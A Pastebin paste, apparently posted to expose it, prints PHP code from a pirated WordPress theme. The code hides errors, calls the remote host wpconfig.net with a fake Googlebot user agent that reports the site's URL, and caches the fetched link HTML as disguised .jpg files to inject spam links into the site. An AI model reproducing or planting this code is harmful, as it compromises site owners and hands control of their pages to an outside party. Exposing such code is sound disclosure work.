Guest User

Прелесть из темы с помойки wp-templates.ru

a guest
Aug 17th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. error_reporting('^ E_ALL ^ E_NOTICE');
  2. ini_set('display_errors', '0');
  3. error_reporting(E_ALL);
  4. ini_set('display_errors', '0');
  5.  
  6. class Get_links {
  7.  
  8.         var $host = 'wpconfig.net';
  9.         var $path = '/system.php';
  10.     var $_cache_lifetime    = 21600;
  11.     var $_socket_timeout    = 5;
  12.  
  13.     function get_remote() {
  14.     $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
  15.     $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
  16.  
  17.          $links_class = new Get_links();
  18.          $host = $links_class->host;
  19.          $path = $links_class->path;
  20.          $_socket_timeout = $links_class->_socket_timeout;
  21.          //$_user_agent = $links_class->_user_agent;
  22.  
  23.         @ini_set('allow_url_fopen',          1);
  24.         @ini_set('default_socket_timeout',   $_socket_timeout);
  25.         @ini_set('user_agent', $_user_agent);
  26.  
  27.         if (function_exists('file_get_contents')) {
  28.             $opts = array(
  29.                 'http'=>array(
  30.                     'method'=>"GET",
  31.                     'header'=>"Referer: {$req_url}\r\n".
  32.                     "User-Agent: {$_user_agent}\r\n"
  33.                 )
  34.             );
  35.             $context = stream_context_create($opts);
  36.  
  37.             $data = @file_get_contents('http://' . $host . $path, false, $context);
  38.             preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
  39.             $data = @$data[2];
  40.             return $data;
  41.         }
  42.            return '<!--link error-->';
  43.       }
  44.  
  45.     function return_links($lib_path) {
  46.          $links_class = new Get_links();
  47.          $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
  48.          $_cache_lifetime = $links_class->_cache_lifetime;
  49.  
  50.         if (!file_exists($file))
  51.         {
  52.             @touch($file, time());
  53.             $data = $links_class->get_remote();
  54.             file_put_contents($file, $data);
  55.             return $data;
  56.         } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
  57.             @touch($file, time());
  58.             $data = $links_class->get_remote();
  59.             file_put_contents($file, $data);
  60.             return $data;
  61.         } else {
  62.             $data = file_get_contents($file);
  63.             return $data;
  64.         }
  65.     }
  66. }
Add Comment
Please, Sign In to add comment